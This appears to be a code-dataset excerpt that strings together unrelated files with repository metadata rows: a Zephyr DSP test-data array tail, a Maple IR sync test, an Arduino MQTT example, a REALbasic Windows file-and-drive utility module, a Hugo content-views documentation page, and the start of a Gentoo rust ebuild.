0xFBCDB83B, 0xFE4D6FBF, 0x00F6A294, 0x03B17A52,
0x044CCD58, 0x02B6CAED, 0xFFBA97AD, 0xFCB6B894,
0xFB249D6D, 0xFB8EABF5, 0xFDB14773, 0x0102A2D0,
0x03244DB6, 0x03C1AC29, 0x02AA7373, 0xFF91C7C6,
0xFC9CD8F5, 0xFB37C668, 0xFBF32A88, 0xFDEE8059,
0x010F0D39, 0x033A9806, 0x04039BDC, 0x0263A490,
0xFF1E05A9, 0xFC96DFB3, 0xFB2CD654, 0xFB9B7E15,
0xFE3AC6C8, 0x0150F2CB, 0x0003070C, 0x002470A6,
0x007AB808, 0x010126BF, 0x01968DC1, 0x02178B13,
0x0265CA2E, 0x0282C1FB, 0x0273BA46, 0x0261D1F1,
0x02731BDC, 0x02BB8F1A, 0x033525E0, 0x03C1E60F,
0x043CD8D6, 0x048A0B37, 0x04671754, 0x024D9C10,
0xFE9459BC, 0xFB112BAC, 0xF9CADE84, 0xFAFFB428,
0xFE5CA63E, 0x01BCCA7F, 0x04C8E905, 0x050C9359,
0x02A8D919, 0xFEC84238, 0xFB39F64E, 0xF9B3D9F9,
0xFAB8EBF8, 0xFDBBE0D1, 0x01D967E1, 0x044074E1,
0x047FC56E, 0x029971E2, 0xFE9AC581, 0xFB12B31D,
0xF9B8D2A2, 0xFB0D6FBD, 0xFDF5FCAA, 0x01E5F681,
0x045E9DE0, 0x04E07B4B, 0x02804F2B, 0xFE5A8E9B,
0x00022E09, 0x001A3CA1, 0x00585B8B, 0x00B92623,
0x0124B7FB, 0x01819756, 0x01B9EDBB, 0x01CEC91B,
0x01C3F6C1, 0x01B7120A, 0x01C384B3, 0x01F7AEB7,
0x024F39FE, 0x02B4912A, 0x030D1700, 0x0344ABEA,
0x03509004, 0x0343AAFA, 0x0334764C, 0x033892ED,
0x0365A8EC, 0x03B5BCC6, 0x04116555, 0x04286E2D,
0x02453456, 0xFE9E4B85, 0xFB098B65, 0xF98B0856,
0xFA7E67F8, 0xFDB793E1, 0x011A2EEF, 0x045139BF,
0x04D52647, 0x02A338BC, 0xFED6FCE3, 0xFB2CBE57,
0xF9666E74, 0xFA29BA3E, 0xFD03B672, 0x01205E2A,
0x03B5EA43, 0x043D6F72, 0x029A9903, 0xFEB9792E,
0xFB20EB59, 0xF9978E3A, 0x000204B3, 0x00184B1A,
0x0051D005, 0x00AB6F2A, 0x010F092B, 0x01650762,
0x01993174, 0x01AC8152, 0x01A27C2E, 0x01968BF6,
0x01A21293, 0x01D25F67, 0x02236E96, 0x0281440A,
0x02D33B39, 0x0306B225, 0x0311B4C2, 0x0305C43D,
0x02F7AFE8, 0x02FB7E8F, 0x03253D98, 0x036F62F1,
0x03C44162, 0x040A062E, 0x0432C552, 0x0400C5DA,
0x01DB374B, 0xFE178DC0, 0xFA99B6AA, 0xF962C400,
0xFAA31B5F, 0xFE0A143A, 0x016E2B2E, 0x04746376,
0x04AA2D17, 0x0231D263, 0xFE492717, 0xFABAF05D,
0xF937987D, 0xFA4593E6, 0xFD55663B, 0x017BEE8E,
0x03E100AA, 0x041F5CE9, 0x023B5CAC, 0xFE3C69FD
};
| Max | 2 | maxvankessel/zephyr | tests/lib/cmsis_dsp/filtering/src/fir_q31.pat | [
"Apache-2.0"
] |
# 1 public class sync {
# 2 private Object go = new Object();
# 3 private int waiters = 0;
# 4
# 5 public void foo() {
# 6 synchronized (go) {
# 7 waiters++;
# 8 }
# 9 }
# 10 }
# some unrelated functions are removed
type $Ljava/lang/Object; <class {}>
type $Lsync; <class <$Ljava/lang/Object;> {
@go <* <$Ljava/lang/Object;>> private,
@waiters i32 private,
&Lsync;|foo|__V|(<* <$Lsync;>>) void}>
func &Lsync;|foo|__V| (var %_this <* <$Lsync;>>) void {
var %Reg1_R33 <* <$Ljava/lang/Object;>>
var %Reg0_I i32
var %Reg0_R38 <* void>
#LINE sync.java:6
dassign %Reg1_R33 0 (iread ptr <* <$Lsync;>> 1 (dread ptr %_this 0))
syncenter (dread ptr %Reg1_R33 0)
#LINE sync.java:7
dassign %Reg0_I 0 (iread i32 <* <$Lsync;>> 2 (dread ptr %_this 0))
dassign %Reg0_I 0 (add i32 (
dread i32 %Reg0_I 0,
cvt i32 i8 (constval i8 1)))
iassign <* <$Lsync;>> 2 (dread ptr %_this 0, dread i32 %Reg0_I 0)
#LINE sync.java:8
syncexit (dread ptr %Reg1_R33 0)
#LINE sync.java:9
return ()
#LINE sync.java:8
dassign %Reg0_R38 0 (regread ptr %%thrownval)
syncexit (dread ptr %Reg1_R33 0)
throw (dread ptr %Reg0_R38 0)
}
# EXEC: %irbuild Main.mpl
# EXEC: %irbuild Main.irb.mpl
# EXEC: %cmp Main.irb.mpl Main.irb.irb.mpl
| Maple | 4 | harmonyos-mirror/OpenArkCompiler-test | test/testsuite/irbuild_test/I0077-mapleall-irbuild-edge-sync/Main.mpl | [
"MulanPSL-1.0"
] |
/*
Basic MQTT example
This sketch demonstrates the basic capabilities of the library.
It connects to an MQTT server then:
- publishes "hello world" to the topic "outTopic"
- subscribes to the topic "inTopic", printing out any messages
it receives. NB - it assumes the received payloads are strings not binary
It will reconnect to the server if the connection is lost using a blocking
reconnect function. See the 'mqtt_reconnect_nonblocking' example for how to
achieve the same result without blocking the main loop.
*/
#include <SPI.h>
#include <Ethernet.h>
#include <PubSubClient.h>
// Update these with values suitable for your network.
byte mac[] = { 0xDE, 0xED, 0xBA, 0xFE, 0xFE, 0xED };
IPAddress ip(172, 16, 0, 100);
IPAddress server(172, 16, 0, 2);
void callback(char* topic, byte* payload, unsigned int length) {
Serial.print("Message arrived [");
Serial.print(topic);
Serial.print("] ");
for (int i=0;i<length;i++) {
Serial.print((char)payload[i]);
}
Serial.println();
}
EthernetClient ethClient;
PubSubClient client(ethClient);
void reconnect() {
// Loop until we're reconnected
while (!client.connected()) {
Serial.print("Attempting MQTT connection...");
// Attempt to connect
if (client.connect("arduinoClient")) {
Serial.println("connected");
// Once connected, publish an announcement...
client.publish("outTopic","hello world");
// ... and resubscribe
client.subscribe("inTopic");
} else {
Serial.print("failed, rc=");
Serial.print(client.state());
Serial.println(" try again in 5 seconds");
// Wait 5 seconds before retrying
delay(5000);
}
}
}
void setup()
{
Serial.begin(57600);
client.setServer(server, 1883);
client.setCallback(callback);
Ethernet.begin(mac, ip);
// Allow the hardware to sort itself out
delay(1500);
}
void loop()
{
if (!client.connected()) {
reconnect();
}
client.loop();
}
| Arduino | 4 | rovale/pubsubclient | examples/mqtt_basic/mqtt_basic.ino | [
"MIT"
] |
#tag Module
Protected Module FileProcessingWFS
#tag Method, Flags = &h1
Protected Sub EmptyTrashes()
'// This method will empty all RecycleBins in the system
'// By Anthony G. Cyphers
'// 05/17/2007
#if TargetWin32 then
Soft Declare Function SHEmptyRecycleBinA Lib "shell32" ( hwnd As Integer, pszRootPath As Integer, dwFlags As Integer) As Integer
Soft Declare Function SHUpdateRecycleBinIcon Lib "shell32" () As Integer
if System.IsFunctionAvailable( "SHEmptyRecycleBinA", "shell32" ) then
if SHEmptyRecycleBinA( 0, 0, 0 ) = 0 then
if System.IsFunctionAvailable( "SHUpdateRecycleBinIcon", "shell32" ) then
Call SHUpdateRecycleBinIcon
end if
end if
end if
#endif
End Sub
#tag EndMethod
#tag Method, Flags = &h1
Protected Function GetDriveStrings() As String()
#if TargetWin32
Soft Declare Function GetLogicalDriveStringsA Lib "Kernel32" ( size as Integer, buffer as Ptr ) as Integer
Soft Declare Function GetLogicalDriveStringsW Lib "Kernel32" ( size as Integer, buffer as Ptr ) as Integer
dim numChars as Integer
dim mb as new MemoryBlock( 1024 )
dim unicodeSavvy as Boolean = System.IsFunctionAvailable( "GetLogicalDriveStringsW", "Kernel32" )
if unicodeSavvy then
numChars = GetLogicalDriveStringsW( mb.Size, mb )
else
numChars = GetLogicalDriveStringsA( mb.Size, mb )
end if
dim ret(), theStr as String
dim i as Integer
while i < numChars
if unicodeSavvy then
// We multiply by two because there are two bytes
// per character. i counts characters, but the MemoryBlock
// position is in bytes.
theStr = mb.WString( i * 2 )
else
theStr = mb.CString( i )
end if
ret.Append( theStr )
i = i + Len( theStr ) + 1
wend
return ret
#endif
End Function
#tag EndMethod
#tag Method, Flags = &h1
Protected Function GetDriveType(root as FolderItem) As String
#if TargetWin32
Soft Declare Function GetDriveTypeA Lib "Kernel32" ( drive as CString ) as Integer
Soft Declare Function GetDriveTypeW Lib "Kernel32" ( drive as WString ) as Integer
dim rootStr as String
if root <> nil then
rootStr = root.AbsolutePath
end
dim type as Integer
if System.IsFunctionAvailable( "GetDriveTypeW", "Kernel32" ) then
type = GetDriveTypeW( rootStr )
else
type = GetDriveTypeA( rootStr )
end if
select case type
case 0
return "Unknown"
case 1
return "No root directory"
case 2
return "Removable drive"
case 3
return "Fixed drive"
case 4
return "Remote drive"
case 5
return "CD-ROM drive"
case 6
return "RAM disk"
end
return "Unknown"
#else
#pragma unused root
#endif
End Function
#tag EndMethod
#tag Method, Flags = &h1
Protected Function GetFreeDiskSpaceForCaller(root as FolderItem) As Double
#if TargetWin32
Soft Declare Sub GetDiskFreeSpaceExA Lib "Kernel32" ( directory as CString, freeBytesForCaller as Ptr, _
totalBytes as Ptr, totalFreeBytes as Ptr )
Soft Declare Sub GetDiskFreeSpaceExW Lib "Kernel32" ( directory as WString, freeBytesForCaller as Ptr, _
totalBytes as Ptr, totalFreeBytes as Ptr )
if root = nil then return 0.0
Dim free, total, totalFree as MemoryBlock
free = new MemoryBlock( 8 )
total = new MemoryBlock( 8 )
totalFree = new MemoryBlock( 8 )
if System.IsFunctionAvailable( "GetFreeDiskSpaceExW", "Kernel32" ) then
GetDiskFreeSpaceExW( root.AbsolutePath, free, total, totalFree )
else
GetDiskFreeSpaceExA( root.AbsolutePath, free, total, totalFree )
end if
dim ret as Double
dim high as double = free.Long( 4 )
dim low as double = free.Long( 0 )
if high < 0 then high = high + REALbasic.Pow( 2, 32 )
if low < 0 then low= low + REALbasic.Pow( 2, 32 )
ret = high * REALbasic.Pow( 2, 32 )
ret = ret + low
return ret
#else
#pragma unused root
#endif
End Function
#tag EndMethod
#tag Method, Flags = &h1
Protected Function GetSpecialFolder(CSIDL as integer) As folderItem
Dim f as FolderItem
#if targetWin32
Dim myPidl as integer
Dim myErr as integer
Dim sPath as string
Dim mb as new MemoryBlock(256)
declare Function SHGetSpecialFolderLocation Lib "shell32"(hwnd as integer, nFolder as integer, byref pidl as integer) as integer
myErr = SHGetSpecialFolderLocation(0, CSIDL,myPidl)
Soft Declare Function SHGetPathFromIDListA Lib "shell32" (pidl as integer, path as ptr) as integer
Soft Declare Function SHGetPathFromIDListW Lib "shell32" (pidl as integer, path as ptr) as integer
if System.IsFunctionAvailable( "SHGetPathFromIDListW", "Shell32" ) then
myErr = SHGetPathFromIDListW(myPidl,mb)
f = GetFolderItem(mb.WString(0))
else
myErr = SHGetPathFromIDListA(myPidl,mb)
f = GetFolderItem(mb.CString(0))
end if
#else
#pragma unused CSIDL
#endif
return f
End Function
#tag EndMethod
#tag Method, Flags = &h1
Protected Function GetTotalBytes(root as FolderItem) As double
#if TargetWin32
Soft Declare Sub GetDiskFreeSpaceExA Lib "Kernel32" ( directory as CString, freeBytesForCaller as Ptr, _
totalBytes as Ptr, totalFreeBytes as Ptr )
Soft Declare Sub GetDiskFreeSpaceExW Lib "Kernel32" ( directory as WString, freeBytesForCaller as Ptr, _
totalBytes as Ptr, totalFreeBytes as Ptr )
if root = nil then return 0.0
Dim free, total, totalFree as MemoryBlock
free = new MemoryBlock( 8 )
total = new MemoryBlock( 8 )
totalFree = new MemoryBlock( 8 )
if System.IsFunctionAvailable( "GetDiskFreeSpaceExW", "Kernel32" ) then
GetDiskFreeSpaceExW( root.AbsolutePath, free, total, totalFree )
else
GetDiskFreeSpaceExA( root.AbsolutePath, free, total, totalFree )
end if
dim ret as Double
dim high as double = total.Long( 4 )
dim low as double = total.Long( 0 )
if high < 0 then high = high + REALbasic.Pow( 2, 32 )
if low < 0 then low= low + REALbasic.Pow( 2, 32 )
ret = high * REALbasic.Pow( 2, 32 )
ret = ret + low
return ret
#else
#pragma unused root
#endif
End Function
#tag EndMethod
#tag Method, Flags = &h1
Protected Function GetTotalFreeSpace(root as FolderItem) As double
#if TargetWin32
Soft Declare Sub GetDiskFreeSpaceExA Lib "Kernel32" ( directory as CString, freeBytesForCaller as Ptr, _
totalBytes as Ptr, totalFreeBytes as Ptr )
Soft Declare Sub GetDiskFreeSpaceExW Lib "Kernel32" ( directory as WString, freeBytesForCaller as Ptr, _
totalBytes as Ptr, totalFreeBytes as Ptr )
if root = nil then return 0.0
Dim free, total, totalFree as MemoryBlock
free = new MemoryBlock( 8 )
total = new MemoryBlock( 8 )
totalFree = new MemoryBlock( 8 )
if System.IsFunctionAvailable( "GetDiskFreeSpaceExW", "Kernel32" ) then
GetDiskFreeSpaceExW( root.AbsolutePath, free, total, totalFree )
else
GetDiskFreeSpaceExA( root.AbsolutePath, free, total, totalFree )
end if
dim ret as Double
dim high as double = totalFree.Long( 4 )
dim low as double = totalFree.Long( 0 )
if high < 0 then high = high + REALbasic.Pow( 2, 32 )
if low < 0 then low= low + REALbasic.Pow( 2, 32 )
ret = high * REALbasic.Pow( 2, 32 )
ret = ret + low
return ret
#else
#pragma unused root
#endif
End Function
#tag EndMethod
#tag Method, Flags = &h1
Protected Function GetTrashesCount() As Int64
'// This function return the number of items for all RecycleBins on the system
'// By Anthony G. Cyphers
'// 05/17/2007
#if TargetWin32 then
Soft Declare Function SHQueryRecycleBinA Lib "shell32" ( pszRootPath As Integer, pSHQueryRBInfo As Ptr) As Integer
dim newInfo as new MemoryBlock( 20 )
newInfo.Long( 0 ) = newInfo.Size
dim x as Integer
if System.IsFunctionAvailable( "SHQueryRecycleBinA", "shell32" ) then
x = shQueryrecyclebinA( 0, newInfo )
end if
if x = 0 then
return newInfo.Int64Value( 12 )
end if
return -1
#endif
End Function
#tag EndMethod
#tag Method, Flags = &h1
Protected Function GetTrashesSize() As Int64
'// This function return the size in bytes for all RecycleBins on the system
'// By Anthony G. Cyphers
'// 05/17/2007
#if TargetWin32 then
Soft Declare Function SHQueryRecycleBinA Lib "shell32" ( pszRootPath As Integer, pSHQueryRBInfo As Ptr) As Integer
dim newInfo as new MemoryBlock( 20 )
newInfo.Long( 0 ) = newInfo.Size
dim x as Integer
if System.IsFunctionAvailable( "SHQueryRecycleBinA", "shell32" ) then
x = shQueryrecyclebinA( 0, newInfo )
end if
if x = 0 then
return newInfo.Int64Value( 4 )
end if
return -1
#endif
End Function
#tag EndMethod
#tag Method, Flags = &h1
Protected Function GetVolumeName(root as FolderItem) As String
#if TargetWin32
Soft Declare Function GetVolumeInformationA Lib "Kernel32" ( root as CString, _
volName as Ptr, volNameSize as Integer, ByRef volSer as Integer, ByRef _
maxCompLength as Integer, ByRef sysFlags as Integer, sysName as Ptr, _
sysNameSize as Integer ) as Boolean
Soft Declare Function GetVolumeInformationW Lib "Kernel32" ( root as WString, _
volName as Ptr, volNameSize as Integer, ByRef volSer as Integer, ByRef _
maxCompLength as Integer, ByRef sysFlags as Integer, sysName as Ptr, _
sysNameSize as Integer ) as Boolean
dim volName as new MemoryBlock( 256 )
dim sysName as new MemoryBlock( 256 )
dim volSerial, maxCompLength, sysFlags as Integer
if System.IsFunctionAvailable( "GetVolumeInformationW", "Kernel32" ) then
Call GetVolumeInformationW( left( root.AbsolutePath, 3 ), volName, 256, volSerial, maxCompLength, _
sysFlags, sysName, 256 )
return volName.WString( 0 )
else
Call GetVolumeInformationA( left( root.AbsolutePath, 3 ), volName, 256, volSerial, maxCompLength, _
sysFlags, sysName, 256 )
return volName.CString( 0 )
end if
#else
#pragma unused root
#endif
End Function
#tag EndMethod
#tag Method, Flags = &h1
Protected Function GetVolumeSerial(root as FolderItem) As String
#if TargetWin32
Soft Declare Function GetVolumeInformationA Lib "Kernel32" ( root as CString, _
volName as Ptr, volNameSize as Integer, ByRef volSer as Integer, ByRef _
maxCompLength as Integer, ByRef sysFlags as Integer, sysName as Ptr, _
sysNameSize as Integer ) as Boolean
Soft Declare Function GetVolumeInformationW Lib "Kernel32" ( root as WString, _
volName as Ptr, volNameSize as Integer, ByRef volSer as Integer, ByRef _
maxCompLength as Integer, ByRef sysFlags as Integer, sysName as Ptr, _
sysNameSize as Integer ) as Boolean
dim volName as new MemoryBlock( 256 )
dim sysName as new MemoryBlock( 256 )
dim volSerial, maxCompLength, sysFlags as Integer
if System.IsFunctionAvailable( "GetVolumeInformationW", "Kernel32" ) then
Call GetVolumeInformationW( left( root.AbsolutePath, 3 ), volName, 256, volSerial, maxCompLength, _
sysFlags, sysName, 256 )
else
Call GetVolumeInformationA( left( root.AbsolutePath, 3 ), volName, 256, volSerial, maxCompLength, _
sysFlags, sysName, 256 )
end if
dim hexStr as String = Hex( volSerial )
return Left( hexStr, 4 ) + "-" + Right( hexStr, 4 )
#else
#pragma unused root
#endif
End Function
#tag EndMethod
#tag Method, Flags = &h1
Protected Function GetVolumeSerialNumber(root as FolderItem) As Integer
#if TargetWin32
Soft Declare Function GetVolumeInformationA Lib "Kernel32" ( root as CString, _
volName as Ptr, volNameSize as Integer, ByRef volSer as Integer, ByRef _
maxCompLength as Integer, ByRef sysFlags as Integer, sysName as Ptr, _
sysNameSize as Integer ) as Boolean
Soft Declare Function GetVolumeInformationW Lib "Kernel32" ( root as CString, _
volName as Ptr, volNameSize as Integer, ByRef volSer as Integer, ByRef _
maxCompLength as Integer, ByRef sysFlags as Integer, sysName as Ptr, _
sysNameSize as Integer ) as Boolean
dim volName as new MemoryBlock( 256 )
dim sysName as new MemoryBlock( 256 )
dim volSerial, maxCompLength, sysFlags as Integer
if System.IsFunctionAvailable( "GetVolumeInformationW", "Kernel32" ) then
Call GetVolumeInformationW( left( root.AbsolutePath, 3 ), volName, 256, volSerial, maxCompLength, _
sysFlags, sysName, 256 )
else
Call GetVolumeInformationA( left( root.AbsolutePath, 3 ), volName, 256, volSerial, maxCompLength, _
sysFlags, sysName, 256 )
end if
return volSerial
#else
#pragma unused root
#endif
End Function
#tag EndMethod
#tag Method, Flags = &h1
Protected Function MapNetworkDrive(remotePath as String, localPath as String, userName as String = "", password as String = "", interactive as Boolean = true) As FolderItem
// We want to map the network drive the user gave us, which is in UNC format (like //10.10.10.116/foobar)
// and map it to the local drive they gave us (like f:).
#if TargetWin32
Soft Declare Function WNetAddConnection2A Lib "Mpr" ( netRes as Ptr, password as CString, userName as CString, flags as Integer ) as Integer
Soft Declare Function WNetAddConnection2W Lib "Mpr" ( netRes as Ptr, password as WString, userName as WString, flags as Integer ) as Integer
dim unicodeSavvy as Boolean = System.IsFunctionAvailable( "WNetAddConnection2W", "Mpr" )
Const CONNECT_INTERACTIVE = &h8
Const RESOURCETYPE_DISK = &h1
// Create and set up our network resource structure
dim netRes as new MemoryBlock( 30 )
netRes.Long( 4 ) = RESOURCETYPE_DISK
dim localName as new MemoryBlock( 1024 )
dim remoteName as new MemoryBlock( 1024 )
if unicodeSavvy then
localName.WString( 0 ) = localPath
remoteName.WString( 0 ) = remotePath
else
locaLName.CString( 0 ) = localPath
remoteName.CString( 0 ) = remotePath
end if
netRes.Ptr( 16 ) = localName
netRes.Ptr( 20 ) = remoteName
dim flags As Integer
if interactive then flags = flags + CONNECT_INTERACTIVE
// Now make the call
dim ret as Integer
if unicodeSavvy then
ret = WNetAddConnection2W( netRes, password, userName, flags )
else
ret = WNetAddConnection2A( netRes, password, userName, flags )
end if
Const NO_ERROR = 0
if ret = NO_ERROR then
return new FolderItem( localPath )
else
return nil
end if
#else
#pragma unused remotePath
#pragma unused localPath
#pragma unused userName
#pragma unused password
#pragma unused interactive
#endif
End Function
#tag EndMethod
#tag Method, Flags = &h1
Protected Function MapNetworkDriveDialog(owner as Window) As FolderItem
#if TargetWin32
Soft Declare Function WNetConnectionDialog1W Lib "Mpr" ( dlgstruct as Ptr ) as Integer
Soft Declare Function WNetConnectionDialog1A Lib "Mpr" ( dlgstruct as Ptr ) as Integer
dim dlgstruct as new MemoryBlock( 20 )
dim netRsrc as new MemoryBlock( 30 )
Const RESOURCETYPE_DISK = &h1
netRsrc.Long( 4 ) = RESOURCETYPE_DISK
dlgStruct.Long( 0 ) = dlgstruct.Size
'dlgStruct.Long( 4 ) = owner.WinHWND
dlgStruct.Long( 4 ) = owner.Handle
dlgstruct.Ptr( 8 ) = netRsrc
// Now make the call
dim ret as Integer
if System.IsFunctionAvailable( "WNetConnectionDialog1W", "Mpr" ) then
ret = WNetConnectionDialog1W( dlgstruct )
else
ret = WNetConnectionDialog1A( dlgstruct )
end if
if ret = 0 then
// The drive letter is stored in the dlgstruct as an integer. 1 = a, 2 = b, etc
dim drive as String = Chr( 65 + dlgstruct.Long( 16 ) - 1 ) + ":"
return new FolderItem( drive )
else
return nil
end if
#else
#pragma unused owner
#endif
End Function
#tag EndMethod
#tag Method, Flags = &h1
Protected Function SelectMultipleFiles(parentWindow as Window, filterTypes() as String) As FolderItem()
#if TargetWin32
dim unicodeSavvy as Boolean = System.IsFunctionAvailable( "GetOpenFileNameW", "CommDlg32" )
dim ofn as new MemoryBlock( 76 )
ofn.Long( 0 ) = ofn.Size
if parentWindow <> nil then
ofn.Long( 4 ) = parentWindow.WinHWND
end
dim filter as String
dim catFilters as String
dim filterPtr as MemoryBlock
for each filter in filterTypes
if unicodeSavvy then
catFilters = catFilters + ConvertEncoding( filter + Chr( 0 ), Encodings.UTF16 )
else
catFilters = catFilters + filter + Chr( 0 )
end if
next
if unicodeSavvy then
catFilters = catFilters + ConvertEncoding( Chr( 0 ), Encodings.UTF16 )
else
catFilters = catFilters + Chr( 0 )
end if
filterPtr = catFilters
ofn.Ptr( 12 ) = filterPtr
ofn.Long( 24 ) = 1
dim filePaths as new MemoryBlock( 4098 )
ofn.Ptr( 28 ) = filePaths
ofn.Long( 32 ) = filePaths.Size
'dim titlePtr as new MemoryBlock( LenB( title ) + 1 )
'titlePtr.CString( 0 ) = title
'ofn.Ptr( 48 ) = titlePtr
Const OFN_EXPLORER = &H80000
Const OFN_LONGNAMES = &H200000
Const OFN_ALLOWMULTISELECT = &H200
ofn.Long( 52 ) = BitWiseOr(OFN_ALLOWMULTISELECT,OFN_EXPLORER)
Soft Declare Function GetOpenFileNameA Lib "comdlg32" (pOpenfilename As ptr) As Boolean
Soft Declare Function GetOpenFileNameW Lib "comdlg32" (pOpenfilename As ptr) As Boolean
dim res as Boolean
dim ret( -1 ) as FolderItem
dim strs( -1 ) as String
dim i as Integer
dim s, filePath as String
dim sPtr as MemoryBlock
if unicodeSavvy then
res = GetOpenFileNameW( ofn )
else
res = GetOpenFileNameA( ofn )
end if
if res then
sPtr = ofn.Ptr( 28 )
s = sPtr.StringValue( 0, filePaths.Size )
if unicodeSavvy then
s = DefineEncoding( s, Encodings.UTF16 )
end if
strs = Split( s, Chr( 0 ) )
filePath = strs( 0 )
for i = 0 to UBound( strs )
if strs( i ) <> "" then
try
ret.Append( new FolderItem( filePath + "\" + strs( i ) ) )
catch err as UnsupportedFormatException
// If we couldn't make a file from it, then chances are we only
// got one file and not multiple ones. Try something else
try
dim test as FolderItem = new FolderItem( filePath )
// We have to make sure this isn't a directory because that's
// the first entry in the list if the list contains multiple items. Goofy
// enough, if the list only contains one item, then the first entry is
// that item.
if not test.Directory then
ret.Append( test )
end if
catch err2 as UnsupportedFormatException
// We're really hosed now
end try
end try
end
next
end
return ret
#else
#pragma unused parentWindow
#pragma unused filterTypes
#endif
End Function
#tag EndMethod
#tag Method, Flags = &h1
Protected Function UnmapNetworkDrive(drive as String, force as Boolean = false) As Boolean
#if TargetWin32
Soft Declare Function WNetCancelConnection2W Lib "Mpr" ( name as WString, flags as Integer, force as Boolean ) as Integer
Soft Declare Function WNetCancelConnection2A Lib "Mpr" ( name as CString, flags as Integer, force as Boolean ) as Integer
if System.IsFunctionAvailable( "WNetCancelConnection2W", "Mpr" ) then
return WNetCancelConnection2W( drive, 0, force ) = 0
else
return WNetCancelConnection2A( drive, 0, force ) = 0
end if
#else
#pragma unused drive
#pragma unused force
#endif
End Function
#tag EndMethod
#tag Method, Flags = &h1
Protected Function UnmapNetworkDriveDialog(owner as Window, localPath as String) As Boolean
#if TargetWin32
Soft Declare Function WNetDisconnectDialog1W Lib "Mpr" ( dlgstruct as Ptr ) as Integer
Soft Declare Function WNetDisconnectDialog1A Lib "Mpr" ( dlgstruct as Ptr ) as Integer
dim dlgstruct as new MemoryBlock( 20 )
dlgstruct.Long( 0 ) = dlgstruct.Size
'dlgstruct.Long( 4 ) = owner.WinHWND
dlgstruct.Long( 4 ) = owner.Handle
if Right( localPath, 1 ) = "\" then localPath = Left( localPath, 2 )
dim localName as new MemoryBlock( 1024 )
if System.IsFunctionAvailable( "WNetDisconnectDialog1W", "Mpr" ) then
localName.WString( 0 ) = localPath
else
localName.CString( 0 ) = localPath
end if
dlgstruct.Ptr( 8 ) = localName
dim ret as Integer
if System.IsFunctionAvailable( "WNetDisconnectDialog1W", "Mpr" ) then
ret = WNetDisconnectDialog1W( dlgstruct )
else
ret = WNetDisconnectDialog1A( dlgstruct )
end if
return ret = 0
#else
#pragma unused owner
#pragma unused localPath
#endif
End Function
#tag EndMethod
#tag ViewBehavior
#tag ViewProperty
Name="Index"
Visible=true
Group="ID"
InitialValue="-2147483648"
InheritedFrom="Object"
#tag EndViewProperty
#tag ViewProperty
Name="Left"
Visible=true
Group="Position"
InitialValue="0"
InheritedFrom="Object"
#tag EndViewProperty
#tag ViewProperty
Name="Name"
Visible=true
Group="ID"
InheritedFrom="Object"
#tag EndViewProperty
#tag ViewProperty
Name="Super"
Visible=true
Group="ID"
InheritedFrom="Object"
#tag EndViewProperty
#tag ViewProperty
Name="Top"
Visible=true
Group="Position"
InitialValue="0"
InheritedFrom="Object"
#tag EndViewProperty
#tag EndViewBehavior
End Module
#tag EndModule
| REALbasic | 5 | bskrtich/WFS | Windows Functionality Suite/File Processing/Modules/FileProcessingWFS.rbbas | [
"MIT"
] |
---
title: Content View Templates
# linktitle: Content Views
description: Hugo can render alternative views of your content, which is especially useful in list and summary views.
date: 2017-02-01
publishdate: 2017-02-01
lastmod: 2017-02-01
categories: [templates]
keywords: [views]
menu:
docs:
parent: "templates"
weight: 70
weight: 70
sections_weight: 70
draft: false
aliases: []
toc: true
---
These alternative **content views** are especially useful in [list templates][lists].
The following are common use cases for content views:
* You want content of every type to be shown on the homepage but only with limited [summary views][summaries].
* You only want a bulleted list of your content on a [taxonomy list page][taxonomylists]. Views make this very straightforward by delegating the rendering of each different type of content to the content itself.
## Create a Content View
To create a new view, create a template in each of your different content type directories with the view name. The following example contains an "li" view and a "summary" view for the `posts` and `project` content types. As you can see, these sit next to the [single content view][single] template, `single.html`. You can even provide a specific view for a given type and continue to use the `_default/single.html` for the primary view.
```
▾ layouts/
▾ posts/
li.html
single.html
summary.html
▾ project/
li.html
single.html
summary.html
```
Hugo also has support for a default content template to be used in the event that a specific content view template has not been provided for that type. Content views can also be defined in the `_default` directory and will work the same as list and single templates who eventually trickle down to the `_default` directory as a matter of the lookup order.
```
▾ layouts/
▾ _default/
li.html
single.html
summary.html
```
## Which Template Will be Rendered?
The following is the [lookup order][lookup] for content views:
1. `/layouts/<TYPE>/<VIEW>.html`
2. `/layouts/_default/<VIEW>.html`
3. `/themes/<THEME>/layouts/<TYPE>/<VIEW>.html`
4. `/themes/<THEME>/layouts/_default/<VIEW>.html`
## Example: Content View Inside a List
The following example demonstrates how to use content views inside of your [list templates][lists].
### `list.html`
In this example, `.Render` is passed into the template to call the [render function][render]. `.Render` is a special function that instructs content to render itself with the view template provided as the first argument. In this case, the template is going to render the `summary.html` view that follows:
{{< code file="layouts/_default/list.html" download="list.html" >}}
<main id="main">
<div>
<h1 id="title">{{ .Title }}</h1>
{{ range .Pages }}
{{ .Render "summary"}}
{{ end }}
</div>
</main>
{{< /code >}}
### `summary.html`
Hugo will pass the entire page object to the following `summary.html` view template. (See [Page Variables][pagevars] for a complete list.)
{{< code file="layouts/_default/summary.html" download="summary.html" >}}
<article class="post">
<header>
<h2><a href='{{ .Permalink }}'> {{ .Title }}</a> </h2>
<div class="post-meta">{{ .Date.Format "Mon, Jan 2, 2006" }} - {{ .FuzzyWordCount }} Words </div>
</header>
{{ .Summary }}
<footer>
<a href='{{ .Permalink }}'><nobr>Read more →</nobr></a>
</footer>
</article>
{{< /code >}}
### `li.html`
Continuing on the previous example, we can change our render function to use a smaller `li.html` view by changing the argument in the call to the `.Render` function (i.e., `{{ .Render "li" }}`).
{{< code file="layouts/_default/li.html" download="li.html" >}}
<li>
<a href="{{ .Permalink }}">{{ .Title }}</a>
<div class="meta">{{ .Date.Format "Mon, Jan 2, 2006" }}</div>
</li>
{{< /code >}}
[lists]: /templates/lists/
[lookup]: /templates/lookup-order/
[pagevars]: /variables/page/
[render]: /functions/render/
[single]: /templates/single-page-templates/
[spf]: https://spf13.com
[spfsourceli]: https://github.com/spf13/spf13.com/blob/master/layouts/_default/li.html
[spfsourcesection]: https://github.com/spf13/spf13.com/blob/master/layouts/_default/section.html
[spfsourcesummary]: https://github.com/spf13/spf13.com/blob/master/layouts/_default/summary.html
[summaries]: /content-management/summaries/
[taxonomylists]: /templates/taxonomy-templates/
| Markdown | 5 | jlevon/hugo | docs/content/en/templates/views.md | [
"Apache-2.0"
] |
# Copyright 1999-2020 Gentoo Authors
# Distributed under the terms of the GNU General Public License v2
EAPI=7
PYTHON_COMPAT=( python3_{6,7,8} )
inherit bash-completion-r1 check-reqs estack flag-o-matic llvm multiprocessing multilib-build python-any-r1 rust-toolchain toolchain-funcs git-r3
SLOT="git"
MY_P="rust-git"
